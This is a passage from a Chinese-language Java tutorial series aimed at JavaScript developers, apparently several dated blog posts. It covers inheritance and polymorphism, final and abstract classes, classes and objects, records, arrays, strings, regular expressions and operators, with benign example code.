多态（polymorphism）指同一个方法调用，因为对象实际类型不同而产生不同行为。这是 Java OOP 的核心机制：

public class AnimalShelter {
    public static void main(String[] args) {
        // 声明类型是 Animal，实际类型是 Dog/Cat/Bird
        List<Animal> animals = List.of(
            new Dog("旺财", 3, "柴犬"),
            new Cat("咪咪", 2),
            new Dog("小黑", 5, "拉布拉多")
        );

        for (Animal a : animals) {
            a.makeSound();      // 运行时根据实际类型调用不同的方法
            // 输出：汪汪 / 喵喵 / 汪汪
        }
    }
}

关键点：

声明类型是父类（或接口），实际类型是子类
方法调用在运行时根据实际对象类型决定（动态绑定 / late binding）
字段访问是编译时根据声明类型决定（静态绑定），字段没有多态

字段没有多态的例子：

public class Parent {
    public String name = "Parent";
}
public class Child extends Parent {
    public String name = "Child";    // 隐藏（hide）父类字段，不是重写
}

Parent p = new Child();
System.out.println(p.name);          // "Parent" ← 编译时决定
System.out.println(((Child) p).name); // "Child"

这就是为什么字段应该 private：避免这种隐藏带来的困惑。

final 关键字

final 表示"不可改变"，可以修饰变量、方法、类、方法参数：

1. final 变量：只能赋值一次

final double PI = 3.14159;
// PI = 3.14;   // ❌ 编译报错

// 实例 final 字段必须在构造器结束前赋值
public class User {
    private final String id;

    public User(String id) {
        this.id = id;    // ✅ 构造器里赋值
    }
}

// 引用类型的 final：引用不能变，但对象内容可以变
final List<String> list = new ArrayList<>();
list.add("a");           // ✅
// list = new ArrayList<>();  // ❌ 引用不能重新赋值

2. final 方法：不能被子类重写

public class Base {
    public final void doSomething() { ... }
}

public class Sub extends Base {
    // ❌ 不能重写 final 方法
    // @Override
    // public void doSomething() { ... }
}

3. final 类：不能被继承

public final class Immutable { ... }

// ❌ 编译报错
public class Sub extends Immutable { ... }

String、Integer 等所有包装类都是 final 的，防止被继承破坏不可变性。

4. final 参数：方法内不能修改

public void print(final int n) {
    // n = 10;   // ❌
    System.out.println(n);
}

抽象类预告

如果一个类不需要实例化，只作为父类被继承，可以声明为 abstract：

public abstract class Shape {
    protected String color;

    public Shape(String color) {
        this.color = color;
    }

    // 抽象方法：只有声明没有实现，子类必须重写
    public abstract double area();

    // 普通方法：子类直接继承
    public void describe() {
        System.out.println("一个 " + color + " 的图形，面积 " + area());
    }
}

public class Circle extends Shape {
    private double radius;

    public Circle(String color, double radius) {
        super(color);
        this.radius = radius;
    }

    @Override
    public double area() {
        return Math.PI * radius * radius;
    }
}

// Shape s = new Shape("red");   // ❌ 抽象类不能实例化
Shape s = new Circle("red", 2.0);   // ✅ 通过子类
s.describe();

抽象类的完整讨论（跟接口的对比）放在阶段七。

综合小例子：图形系统

把继承、多态、抽象类、equals 一起用起来：

package com.example.shape;

import java.util.Objects;

public abstract class Shape {
    protected final String color;

    protected Shape(String color) {
        this.color = Objects.requireNonNull(color);
    }

    public abstract double area();
    public abstract double perimeter();

    public String getColor() { return color; }

    @Override
    public String toString() {
        return "%s[color=%s, area=%.2f]".formatted(
            getClass().getSimpleName(), color, area()
        );
    }
}

package com.example.shape;

import java.util.Objects;

public class Circle extends Shape {
    private final double radius;

    public Circle(String color, double radius) {
        super(color);
        this.radius = radius;
    }

    @Override
    public double area() {
        return Math.PI * radius * radius;
    }

    @Override
    public double perimeter() {
        return 2 * Math.PI * radius;
    }

    public double getRadius() { return radius; }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Circle other)) return false;
        return Double.compare(radius, other.radius) == 0
            && Objects.equals(color, other.color);
    }

    @Override
    public int hashCode() {
        return Objects.hash(color, radius);
    }
}

package com.example.shape;

import java.util.Objects;

public class Rectangle extends Shape {
    private final double width;
    private final double height;

    public Rectangle(String color, double width, double height) {
        super(color);
        this.width = width;
        this.height = height;
    }

    @Override
    public double area() { return width * height; }

    @Override
    public double perimeter() { return 2 * (width + height); }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Rectangle other)) return false;
        return Double.compare(width, other.width) == 0
            && Double.compare(height, other.height) == 0
            && Objects.equals(color, other.color);
    }

    @Override
    public int hashCode() { return Objects.hash(color, width, height); }
}

package com.example.shape;

import java.util.List;

public class ShapeDemo {
    public static void main(String[] args) {
        List<Shape> shapes = List.of(
            new Circle("红色", 2.0),
            new Rectangle("蓝色", 3.0, 4.0),
            new Circle("绿色", 1.5)
        );

        // 多态：同一个方法调用，不同实现
        for (Shape s : shapes) {
            System.out.printf("%s 面积=%.2f 周长=%.2f%n",
                s, s.area(), s.perimeter());
        }

        // 总面积（Stream，阶段十讲）
        double total = shapes.stream().mapToDouble(Shape::area).sum();
        System.out.printf("总面积：%.2f%n", total);

        // equals
        Shape a = new Circle("红色", 2.0);
        Shape b = new Circle("红色", 2.0);
        System.out.println(a.equals(b));   // true，因为重写了 equals
    }
}

复习卡片

// 1. 继承
public class Dog extends Animal {
    public Dog(String name) {
        super(name);          // 必须调用父类构造器
    }
}

// 2. 重写
@Override
public void makeSound() {
    super.makeSound();        // 可选调用父类逻辑
    // 自己的实现
}

// 3. Object 三兄弟
@Override
public String toString() { return "User{name=" + name + "}"; }

@Override
public boolean equals(Object o) {
    if (this == o) return true;
    if (!(o instanceof User other)) return false;
    return age == other.age && Objects.equals(name, other.name);
}

@Override
public int hashCode() { return Objects.hash(name, age); }

// 4. 向上/向下转型
Animal a = new Dog("旺财");       // 向上，自动
if (a instanceof Dog d) d.bark(); // 向下，模式匹配

// 5. 多态
List<Animal> list = List.of(new Dog(), new Cat());
for (Animal a : list) a.makeSound();   // 运行时决定调用哪个

// 6. final
final double PI = 3.14;               // 变量不能改
public final void method() {}         // 方法不能重写
public final class Immutable {}       // 类不能继承

记忆要点：

Java 单继承，一个类只能 extends 一个父类
子类构造器必须先调用 super(...)（不写则自动调无参）
重写规则：签名一致、返回类型一致或是子类、访问修饰符不能更严格
@Override 一定要加，让编译器帮你检查签名
重写 equals 必须同时重写 hashCode，否则 HashMap 会出鬼
向上转型自动、安全；向下转型要强转，配合 instanceof 模式匹配
多态是方法的运行时绑定；字段是编译时绑定，没有多态
final 修饰变量=不可改、方法=不可重写、类=不可继承
抽象类不能实例化，抽象方法必须由子类实现

下一个阶段讲接口和抽象类的对比，看看 Java 里"契约式设计"是怎么做的。

Java 阶段五：面向对象（一）——类与对象

Thu, 03 Sep 2026 06:00:00 GMT

JS 从 ES6 起也有了 class，但底层仍然是原型链。Java 的类是真正的类：字段类型固定、方法必须声明返回类型、实例化必须 new。这个阶段把 Java OOP 的地基一次搭起来。

从 JS 的 class 到 Java 的 class

先看两边同一个"用户"类的写法：

// JavaScript
class User {
    constructor(name, age) {
        this.name = name;
        this.age = age;
    }
    greet() {
        return `Hi, I'm ${this.name}`;
    }
}

const u = new User("Tom", 25);

// Java
public class User {
    // 字段必须声明类型
    private String name;
    private int age;

    // 构造器：名字必须与类名一致，没有返回类型
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 方法必须声明返回类型
    public String greet() {
        return "Hi, I'm " + name;
    }
}

// 使用
User u = new User("Tom", 25);
System.out.println(u.greet());

关键差异：

维度	JavaScript	Java
字段声明	构造器里 `this.x = ...` 隐式声明	类体里显式声明类型
方法返回类型	隐式，不写 `return` 就是 `undefined`	必须显式声明 `void` 或具体类型
访问控制	`#field` 私有（ES2022+），约定用 `_field`	`public` / `private` / `protected` / 默认
实例化	`new User()`	`new User()`，但变量必须有声明类型
类型	动态	静态，编译期检查

类的完整结构

package com.example.model;         // 1. 包声明（可选，但推荐）

import java.util.List;             // 2. 导入其他类
import java.time.LocalDate;

public class User {                // 3. 类声明
    // ========== 静态字段（属于类，所有实例共享） ==========
    private static int userCount = 0;
    public static final String DEFAULT_ROLE = "guest";

    // ========== 实例字段（属于对象，每个实例独立） ==========
    private Long id;
    private String name;
    private int age;
    private LocalDate registeredAt;
    private List<String> tags;

    // ========== 构造器 ==========
    public User() {
        this("Anonymous", 0);       // 调用另一个构造器
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
        this.registeredAt = LocalDate.now();
        userCount++;
    }

    // ========== 实例方法 ==========
    public String greet() {
        return "Hi, I'm " + name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    // ========== 静态方法 ==========
    public static int getUserCount() {
        return userCount;
    }
}

几个约定俗成的规矩：

一个 .java 文件最多一个 public 类，文件名 = 类名
顺序：包声明 → import → 类声明
类内部顺序：静态字段 → 实例字段 → 构造器 → 方法
字段一般 private，通过 getter/setter 暴露

构造器

默认构造器

如果没有显式写任何构造器，Java 会自动提供一个无参构造器：

public class Simple {
    // 没写构造器
}

new Simple();   // ✅ 编译器提供的默认无参构造器

一旦你写了任何一个构造器，默认的无参构造器就消失了：

public class User {
    public User(String name) { ... }
}

new User();             // ❌ 编译报错：no suitable constructor
new User("Tom");        // ✅

想要保留无参构造器就得自己写一个。

构造器重载

同一个类可以有多个参数不同的构造器：

public class User {
    private String name;
    private int age;
    private String email;

    public User() {
        this("Anonymous", 0, null);
    }

    public User(String name) {
        this(name, 0, null);
    }

    public User(String name, int age) {
        this(name, age, null);
    }

    public User(String name, int age, String email) {
        this.name = name;
        this.age = age;
        this.email = email;
    }
}

this(...) 调用其他构造器

this(...) 必须是构造器里的第一行，用来复用其他构造器的逻辑：

public User(String name) {
    this(name, 0);          // ✅ 调用 User(String, int)
    // 其他代码
}

不能同时用 this(...) 和 super(...)（父类构造器），因为它们都要在第一行。

this 关键字

this 指向当前实例，主要三种用法：

1. 区分字段和参数

public class User {
    private String name;

    public void setName(String name) {
        this.name = name;      // 字段 = 参数
        // name = name;        // ❌ 参数赋给自己，字段没变
    }
}

2. 调用当前对象的其他方法

public class Counter {
    private int count = 0;

    public void increment() {
        count++;
    }

    public void incrementTwice() {
        this.increment();      // 显式调用（this 可省略）
        this.increment();
    }
}

3. 调用当前类的其他构造器

public User() {
    this("Anonymous");         // 调用 User(String)
}

[!NOTE] this 不能在 static 方法里使用，因为静态方法属于类本身，没有"当前实例"的概念：
public static void printName() {
    // System.out.println(this.name);   // ❌ 编译报错
}

static：属于类，不属于对象

static 修饰的字段和方法属于类本身，所有实例共享：

public class User {
    private static int count = 0;         // 静态字段：所有 User 共享
    private String name;                  // 实例字段：每个 User 独立

    public User(String name) {
        this.name = name;
        count++;                          // 静态字段在构造器里累加
    }

    public static int getCount() {        // 静态方法
        return count;
    }

    public String getName() {             // 实例方法
        return name;
    }
}

// 使用
User u1 = new User("Tom");
User u2 = new User("Jerry");

User.getCount();     // ✅ 通过类名调用（推荐）
u1.getCount();       // ✅ 也能通过实例调用，但容易误导，不推荐
u1.getName();        // ✅ 实例方法必须通过实例
// User.getName();   // ❌ 静态上下文无法调用实例方法

static 使用场景：

常量：public static final double PI = 3.14;
工具方法：Math.max、Arrays.sort、String.join 都是静态方法
工厂方法：Integer.valueOf(42)、List.of(1, 2, 3)
计数器、缓存、单例

static 的限制：

不能访问实例字段和实例方法（因为没有 this）
不能被重写（override），只能被隐藏（hide）
静态方法里不能用 this 和 super

访问修饰符

Java 有 4 种访问级别，从宽到严：

修饰符	同一个类	同一个包	子类（跨包）	任何地方
`public`	✅	✅	✅	✅
`protected`	✅	✅	✅	❌
默认（不写）	✅	✅	❌	❌
`private`	✅	❌	❌	❌

经验法则：

字段：一律 private，需要暴露就写 getter/setter
构造器：一般 public（想禁止外部实例化则 private，比如单例）
方法：内部实现 private，对外 API public
常量：public static final

public class BankAccount {
    private double balance;              // 私有字段，外部无法直接改

    public double getBalance() {         // 只暴露 getter，不允许外部修改
        return balance;
    }

    public void deposit(double amount) { // 通过方法修改，可以加校验
        if (amount <= 0) {
            throw new IllegalArgumentException("金额必须大于 0");
        }
        balance += amount;
    }
}

包与 import

包（package）是 Java 的模块系统，用来组织类、避免命名冲突。包名对应目录结构：

src/
└── com/
    └── example/
        └── model/
            ├── User.java         // package com.example.model;
            └── Admin.java        // package com.example.model;

每个 .java 文件第一行声明所属包：

package com.example.model;

public class User { ... }

import 引入其他包的类

import java.util.List;              // 引入单个类
import java.util.ArrayList;
import java.time.*;                 // 引入整个包（不推荐，容易命名冲突）
import static java.lang.Math.PI;    // 引入静态成员，之后可以直接写 PI
import static java.lang.Math.*;     // 引入所有静态成员

几个常用的隐式导入：

java.lang.* 自动导入（String、Integer、Math、System 都不用 import）
同一个包里的类互相不用 import

命名约定

包名用反向域名开头，全小写：

com.company.project.module
com.example.blog.controller
org.apache.commons.lang3

方法重载（Overload）

同一个类里，方法名相同、参数列表不同叫重载。返回类型可以相同也可以不同，但不能只靠返回类型区分：

public class Calculator {
    public int add(int a, int b) { return a + b; }
    public double add(double a, double b) { return a + b; }
    public int add(int a, int b, int c) { return a + b + c; }
    public String add(String a, String b) { return a + b; }

    // ❌ 只有返回类型不同不构成重载
    // public int add(int a, int b) { return a + b; }
    // public double add(int a, int b) { return a + b; }   // 编译错误
}

Java 标准库里重载非常常见，比如 System.out.println 就有 10 个重载版本（int、long、double、String、Object...）。

JavaBean 约定

JavaBean 是一种约定俗成的类结构，用来表示"数据对象"：

有一个 public 无参构造器
字段全部 private
每个字段有 public 的 getter/setter，命名遵循 getXxx / setXxx（boolean 用 isXxx）
可序列化（实现 Serializable 接口，可选）

public class User implements java.io.Serializable {
    private String name;
    private int age;
    private boolean active;

    public User() {}

    public User(String name, int age, boolean active) {
        this.name = name;
        this.age = age;
        this.active = active;
    }

    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return age; }
    public void setAge(int age) { this.age = age; }

    public boolean isActive() { return active; }   // boolean 用 is
    public void setActive(boolean active) { this.active = active; }
}

写业务代码时 getter/setter 一般由 IDE 自动生成（IDEA：Alt+Insert；VS Code：右键 → Source Action），或者用 Lombok 库的 @Data 注解一键生成。

record：不可变数据类（JDK 14+）

如果只是要一个"纯数据容器"，用 record 一行搞定，编译器自动生成 getter、equals、hashCode、toString、构造器：

public record Point(int x, int y) {}

// 使用
Point p = new Point(3, 4);
p.x();               // 3，getter 名字就是字段名，不加 get
p.y();               // 4
System.out.println(p);   // "Point[x=3, y=4]"，toString 自动生成

// 两个 Point 只要 x/y 相同就相等
new Point(1, 2).equals(new Point(1, 2));   // true

record 的限制：

字段隐式 private final，不能修改
不能继承其他类（隐式继承 java.lang.Record）
可以实现接口
可以加静态字段、静态方法、实例方法
可以加"紧凑构造器"做校验：

public record User(String name, int age) {
    public User {
        if (age < 0) throw new IllegalArgumentException("年龄不能为负");
        if (name == null) throw new NullPointerException("name 不能为 null");
    }
}

用 record 的场景：DTO、坐标、键值对、多返回值。不用 record 的场景：需要修改字段的实体类（用传统 class + Lombok）。

综合小例子：图书管理

把这一阶段的语法组合起来，写一个简易的图书管理类：

package com.example.library;

import java.time.LocalDate;
import java.util.ArrayList;
import java.util.List;

public class Book {
    private static int totalBooks = 0;

    private final String isbn;
    private String title;
    private String author;
    private double price;
    private boolean borrowed;
    private LocalDate publishedAt;
    private List<String> tags;

    public Book(String isbn, String title, String author, double price) {
        this.isbn = isbn;
        this.title = title;
        this.author = author;
        this.price = price;
        this.borrowed = false;
        this.publishedAt = LocalDate.now();
        this.tags = new ArrayList<>();
        totalBooks++;
    }

    // 便捷构造器：只传必要信息
    public Book(String isbn, String title) {
        this(isbn, title, "Unknown", 0.0);
    }

    public void borrow() {
        if (borrowed) {
            throw new IllegalStateException("《" + title + "》已被借出");
        }
        borrowed = true;
    }

    public void returnBook() {
        borrowed = false;
    }

    public void addTag(String tag) {
        tags.add(tag);
    }

    // Getters
    public String getIsbn() { return isbn; }
    public String getTitle() { return title; }
    public String getAuthor() { return author; }
    public double getPrice() { return price; }
    public boolean isBorrowed() { return borrowed; }
    public List<String> getTags() { return List.copyOf(tags); }

    public static int getTotalBooks() { return totalBooks; }

    @Override
    public String toString() {
        return "《%s》 by %s (ISBN: %s)%s".formatted(
            title, author, isbn, borrowed ? " [已借出]" : ""
        );
    }
}

使用它：

public class LibraryDemo {
    public static void main(String[] args) {
        Book b1 = new Book("978-7-115-42802-8", "Java 核心技术", "Cay Horstmann", 148.0);
        b1.addTag("Java");
        b1.addTag("编程");

        Book b2 = new Book("978-7-111-21382-6", "算法导论");

        System.out.println(b1);
        System.out.println(b2);

        b1.borrow();
        try {
            b1.borrow();
        } catch (IllegalStateException e) {
            System.out.println(e.getMessage());
        }

        System.out.println("馆藏总数：" + Book.getTotalBooks());
    }
}

复习卡片

// 类的基本结构
package com.example.model;

import java.util.List;

public class User {
    // 静态字段
    private static int count;
    public static final String ROLE = "user";

    // 实例字段（private + getter/setter）
    private String name;
    private int age;

    // 构造器
    public User() { this("Anonymous"); }
    public User(String name) {
        this.name = name;
        count++;
    }

    // 实例方法
    public String greet() { return "Hi " + name; }
    public String getName() { return name; }
    public void setName(String n) { this.name = n; }

    // 静态方法
    public static int getCount() { return count; }
}

// 使用
User u = new User("Tom");
u.greet();
User.getCount();          // 静态方法通过类名调用

// record（JDK 14+）
public record Point(int x, int y) {}
Point p = new Point(1, 2);
p.x();

记忆要点：

类字段声明类型；构造器名字 = 类名，没有返回类型
默认构造器只在你没写任何构造器时才自动提供
this(...) 调用其他构造器，必须在第一行
static 属于类，不能用 this；实例方法必须通过实例调用
访问修饰符：private 字段 + public getter/setter 是最常见的封装方式
包名反向域名，全小写；java.lang 自动导入
方法重载：同名不同参；不能只靠返回类型区分
JavaBean 约定：无参构造 + private 字段 + getter/setter
纯数据类用 record，一行搞定不可变数据

下一阶段进入继承与多态——Java OOP 真正有意思的部分。

Java 阶段四：数组与字符串

Thu, 03 Sep 2026 01:00:00 GMT

数组和字符串是任何语言里最常用的两种数据结构。Java 的数组是固定长度的对象，字符串是不可变的对象——这两个"限制"直接影响日常写法。字符串的基础（不可变、常量池、equals、format）在阶段二讲过，这里主要补数组和字符串的进阶用法。

数组基础

声明与初始化

// 三种声明方式
int[] a1;             // 推荐写法，类型是"int 数组"
int a2[];             // C 风格，也合法但不推荐
int[] a3, a4;         // 一次声明多个数组

// 初始化方式一：指定长度，元素用默认值填充
int[] nums = new int[5];        // [0, 0, 0, 0, 0]
String[] names = new String[3]; // [null, null, null]
boolean[] flags = new boolean[3];   // [false, false, false]

// 初始化方式二：直接给元素
int[] primes = {2, 3, 5, 7, 11};
int[] alsoPrimes = new int[]{2, 3, 5, 7, 11};   // 完整写法

// 长度是数组的**字段**，不是方法
primes.length;   // 5，注意没有括号

默认值规律：

类型	默认值
`byte` / `short` / `int` / `long`	`0` / `0L`
`float` / `double`	`0.0f` / `0.0`
`char`	`'\u0000'`（空字符）
`boolean`	`false`
引用类型（`String`、自定义类等）	`null`

访问与遍历

int[] nums = {10, 20, 30, 40, 50};

nums[0];        // 10
nums[4];        // 50
nums[5];        // ❌ ArrayIndexOutOfBoundsException
nums[-1];       // ❌ 同样越界，Java 不支持负索引

nums[0] = 100;  // 修改

// 方式一：普通 for（可以拿到索引）
for (int i = 0; i < nums.length; i++) {
    System.out.println(i + ": " + nums[i]);
}

// 方式二：增强 for（只关心元素）
for (int n : nums) {
    System.out.println(n);
}

对比 JS：

nums.forEach((n, i) => console.log(i, n));
nums.map(n => n * 2);

Java 数组本身没有 map、filter 这些方法，需要转成 Stream 或用 Arrays 工具类：

import java.util.Arrays;

int[] doubled = Arrays.stream(nums).map(n -> n * 2).toArray();

Stream 相关内容在阶段十详细讲。

数组拷贝

int[] src = {1, 2, 3, 4, 5};

// 方式一：直接赋值——不是拷贝！只是引用同一个数组
int[] ref = src;
ref[0] = 99;
System.out.println(src[0]);   // 99，src 也变了

// 方式二：clone()
int[] copy1 = src.clone();

// 方式三：Arrays.copyOf（可以指定新长度）
int[] copy2 = Arrays.copyOf(src, 3);        // [1, 2, 3]
int[] copy3 = Arrays.copyOf(src, 7);        // [1, 2, 3, 4, 5, 0, 0]，多出的补默认值

// 方式四：Arrays.copyOfRange（左闭右开）
int[] copy4 = Arrays.copyOfRange(src, 1, 4);   // [2, 3, 4]

// 方式五：System.arraycopy（性能最好，最底层）
int[] dest = new int[5];
System.arraycopy(src, 0, dest, 0, src.length);

数组比较与打印

int[] a = {1, 2, 3};
int[] b = {1, 2, 3};

// ❌ == 比较引用地址
System.out.println(a == b);              // false

// ✅ 比较内容
System.out.println(Arrays.equals(a, b)); // true

// ❌ 直接打印是内存地址
System.out.println(a);                   // [I@1540e19d

// ✅ 打印内容
System.out.println(Arrays.toString(a));  // [1, 2, 3]

排序与查找

int[] nums = {5, 2, 8, 1, 9};

Arrays.sort(nums);                       // 原地排序：[1, 2, 5, 8, 9]
System.out.println(Arrays.toString(nums));

// 二分查找（必须先排序）
int idx = Arrays.binarySearch(nums, 8);  // 3

对对象数组排序需要传比较器：

String[] words = {"banana", "apple", "cherry"};
Arrays.sort(words);                                  // 字典序
Arrays.sort(words, (x, y) -> y.compareTo(x));        // 逆序

数组转 List

Integer[] nums = {1, 2, 3};

// 方式一：Arrays.asList（返回的是"视图"，长度固定，不能 add/remove）
List<Integer> view = Arrays.asList(nums);

// 方式二：new ArrayList<>(Arrays.asList(...))（可变）
List<Integer> list = new ArrayList<>(Arrays.asList(nums));

// 方式三：List.of（JDK 9+，不可变）
List<Integer> immutable = List.of(1, 2, 3);

// 方式四：Stream（JDK 8+）
List<Integer> fromStream = Arrays.stream(nums).toList();

[!WARNING] 基本类型数组不能直接转 List：

int[] nums = {1, 2, 3};
List<int[]> wrong = Arrays.asList(nums);   // 长度是 1 的 List，元素是整个 int[] 数组

// 正确做法：先转 IntStream 再装箱
List<Integer> right = Arrays.stream(nums).boxed().toList();

多维数组

Java 的多维数组本质是"数组的数组"：

// 二维数组
int[][] matrix = new int[3][4];       // 3 行 4 列，全是 0

int[][] grid = {
    {1, 2, 3},
    {4, 5, 6},
    {7, 8, 9}
};

grid.length;         // 3，行数
grid[0].length;      // 3，第一行列数

// 遍历
for (int i = 0; i < grid.length; i++) {
    for (int j = 0; j < grid[i].length; j++) {
        System.out.print(grid[i][j] + " ");
    }
    System.out.println();
}

// 增强 for
for (int[] row : grid) {
    for (int n : row) {
        System.out.print(n + " ");
    }
    System.out.println();
}

不规则数组（每行长度不同）：

int[][] jagged = new int[3][];
jagged[0] = new int[]{1, 2};
jagged[1] = new int[]{3, 4, 5};
jagged[2] = new int[]{6};

三维以上类似，但实际业务里几乎用不到——用嵌套的 List<List<T>> 或专门的类更清晰。

字符串进阶

StringBuilder 与 StringBuffer

String 不可变，任何"修改"操作都返回新对象。循环拼接必须用 StringBuilder：

// ❌ 慢：每次 += 都创建新 String，O(n²)
String s = "";
for (int i = 0; i < 10000; i++) {
    s += i;
}

// ✅ 快：内部是可变字符数组，O(n)
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 10000; i++) {
    sb.append(i);
}
String result = sb.toString();

常用方法：

StringBuilder sb = new StringBuilder();

sb.append("hello");           // 追加
sb.append(" ").append("world");   // 链式调用
sb.insert(5, ",");            // 在索引 5 插入
sb.delete(0, 5);              // 删除 [0, 5)
sb.replace(0, 5, "Hi");       // 替换
sb.reverse();                 // 反转
sb.length();                  // 当前长度
sb.toString();                // 转成 String

// 指定初始容量，避免多次扩容
StringBuilder big = new StringBuilder(1000);

StringBuilder vs StringBuffer：

StringBuilder：非线程安全，性能高。日常写业务用这个。
StringBuffer：线程安全（方法加了 synchronized），性能略低。多线程共享时才用。

99% 场景选 StringBuilder。

StringJoiner

拼接多个字符串并带分隔符，比手动 StringBuilder 更清爽：

import java.util.StringJoiner;

StringJoiner joiner = new StringJoiner(", ");
joiner.add("apple");
joiner.add("banana");
joiner.add("cherry");
System.out.println(joiner.toString());   // "apple, banana, cherry"

// 带前缀后缀
StringJoiner bracketed = new StringJoiner(" | ", "[", "]");
bracketed.add("a").add("b");
System.out.println(bracketed);   // "[a | b]"

或者直接用 String.join：

String csv = String.join(",", "a", "b", "c");   // "a,b,c"
String fromList = String.join("-", List.of("x", "y", "z"));   // "x-y-z"

字符串与其他类型转换

// 数字 → 字符串
String s1 = String.valueOf(123);
String s2 = Integer.toString(123);

// 字符串 → 数字
int n = Integer.parseInt("123");
double d = Double.parseDouble("3.14");

// 字符数组 ↔ 字符串
char[] chars = {'h', 'i'};
String fromChars = new String(chars);       // "hi"
char[] back = fromChars.toCharArray();      // ['h', 'i']

// 字节数组 ↔ 字符串（编码相关）
byte[] bytes = "hello".getBytes(StandardCharsets.UTF_8);
String fromBytes = new String(bytes, StandardCharsets.UTF_8);

[!IMPORTANT] 处理字符串和字节互转时永远显式指定字符集，不指定的话 Java 会用平台默认编码（Windows 上可能是 GBK，Linux 上是 UTF-8），跨平台必出问题：
"hello".getBytes(StandardCharsets.UTF_8);   // ✅
// "hello".getBytes();                       // ❌ 依赖平台

正则表达式

Java 的正则在 java.util.regex 包里，主要用 Pattern 和 Matcher 两个类：

基本匹配

import java.util.regex.*;

Pattern pattern = Pattern.compile("\\d+");    // 匹配一个或多个数字
Matcher matcher = pattern.matcher("abc123def456");

while (matcher.find()) {
    System.out.println(matcher.group());      // "123" "456"
}

注意反斜杠要转义：正则里的 \d 在 Java 字符串中要写成 "\\d"，因为 \ 本身是字符串的转义字符。

简化写法：String 内置方法

不用完整 Pattern/Matcher 时，String 提供了几个便捷方法：

// matches：整个字符串是否匹配
"12345".matches("\\d+");              // true
"abc123".matches("\\d+");             // false（必须整体匹配）

// replaceAll：正则替换
"a1b2c3".replaceAll("\\d", "*");      // "a*b*c*"

// split：正则分割
"a,b;;c  d".split("[,;\\s]+");        // ["a", "b", "c", "d"]

常用正则片段

目标	正则
数字	`\\d+`
非数字	`\\D+`
单词字符（字母数字下划线）	`\\w+`
空白字符	`\\s+`
中文字符	`[\\u4e00-\\u9fa5]+`
邮箱（简易）	`\\w+@\\w+\\.\\w+`
手机号（大陆）	`1[3-9]\\d{9}`
URL	`https?://[\\w.-]+(?:/[\\w./?%&=-]*)?`

完整例子：提取日志中的时间戳

import java.util.regex.*;

public class LogParser {
    private static final Pattern TIMESTAMP = Pattern.compile(
        "\\[(\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2})\\]\\s+(\\w+):\\s+(.*)"
    );

    public static void main(String[] args) {
        String log = "[2026-09-03 10:15:30] ERROR: Database connection failed";
        Matcher m = TIMESTAMP.matcher(log);

        if (m.matches()) {
            System.out.println("时间：" + m.group(1));   // 2026-09-03 10:15:30
            System.out.println("级别：" + m.group(2));   // ERROR
            System.out.println("消息：" + m.group(3));   // Database connection failed
        }
    }
}

性能建议：如果同一个正则要用很多次，把 Pattern.compile 提到静态字段里，避免重复编译：

private static final Pattern EMAIL = Pattern.compile("\\w+@\\w+\\.\\w+");

public boolean isEmail(String s) {
    return EMAIL.matcher(s).matches();
}

综合小例子：单词频率统计

结合数组、字符串和 Map（阶段八会详细讲，这里先见一面）：

import java.util.*;

public class WordCount {
    public static void main(String[] args) {
        String text = "apple banana apple cherry banana apple";
        String[] words = text.split("\\s+");

        Map<String, Integer> count = new HashMap<>();
        for (String w : words) {
            count.put(w, count.getOrDefault(w, 0) + 1);
        }

        // 按频率降序输出
        count.entrySet().stream()
            .sorted(Map.Entry.<String, Integer>comparingByValue().reversed())
            .forEach(e -> System.out.println(e.getKey() + ": " + e.getValue()));
    }
}
// 输出：
// apple: 3
// banana: 2
// cherry: 1

复习卡片

// ===== 数组 =====
int[] nums = new int[5];             // 默认 0
int[] primes = {2, 3, 5, 7};
nums.length;                         // 字段，无括号
nums[0] = 10;

for (int n : nums) { ... }           // 增强 for

int[] copy = Arrays.copyOf(nums, 3);
int[] range = Arrays.copyOfRange(nums, 1, 4);
Arrays.equals(a, b);                 // 内容比较
Arrays.toString(a);                  // 打印
Arrays.sort(nums);
Arrays.binarySearch(nums, 5);

// 二维
int[][] grid = new int[3][4];
grid.length;                         // 行数
grid[0].length;                      // 列数

// 转 List
List<Integer> list = Arrays.stream(intArr).boxed().toList();

// ===== 字符串 =====
StringBuilder sb = new StringBuilder();
sb.append("a").append("b").insert(0, "x");
sb.reverse();
sb.toString();

String csv = String.join(",", "a", "b", "c");
StringJoiner sj = new StringJoiner(", ", "[", "]");
sj.add("a").add("b");

// 编码转换永远显式指定
"hi".getBytes(StandardCharsets.UTF_8);

// ===== 正则 =====
Pattern p = Pattern.compile("\\d+");
Matcher m = p.matcher("abc123");
while (m.find()) m.group();

"12345".matches("\\d+");             // 整体匹配
"a1b2".replaceAll("\\d", "*");       // 替换
"a,b;c".split("[,;]+");              // 分割

记忆要点：

数组长度用 nums.length（字段），字符串长度用 s.length()（方法）
数组 == 比引用，内容比较用 Arrays.equals
打印数组用 Arrays.toString，否则是内存地址
循环拼接字符串用 StringBuilder，不用 +=
StringBuffer 是线程安全版，日常用 StringBuilder
字符串与字节互转永远显式指定 StandardCharsets.UTF_8
正则里的 \ 要写成 \\
常用正则 Pattern 提到静态字段避免重复编译

到这里 Java 的语法基础就打完了。下一阶段进入面向对象的核心——类与对象，看看 Java 里"一切皆对象"到底是什么意思。

Java 阶段三：运算符与流程控制

Wed, 02 Sep 2026 12:00:00 GMT

流程控制这块 Java 和 JS 长得挺像，但细节差别不少：switch 有新版表达式语法，instanceof 支持模式匹配，for-each 写法不同，break 还能带标签。这一篇把常踩的差异点集中过一遍。

运算符总览

算术运算符

int a = 10, b = 3;

a + b;    // 13
a - b;    // 7
a * b;    // 30
a / b;    // 3   ← 整数除法直接截断，不是 3.333
a % b;    // 1   取余
a++;      // 11  后置自增
++a;      // 12  前置自增
a--;      // 11

[!WARNING] 整数除法是 JS 里没有的坑：

int result = 7 / 2;         // 3，不是 3.5
double wrong = 7 / 2;       // 3.0，仍然先按 int 算再转 double
double right = 7.0 / 2;     // 3.5，至少一个操作数是 double
double alsoRight = (double) 7 / 2;   // 3.5，强制转换

赋值运算符

int x = 10;
x += 5;    // x = x + 5 = 15
x -= 3;    // x = x - 3 = 12
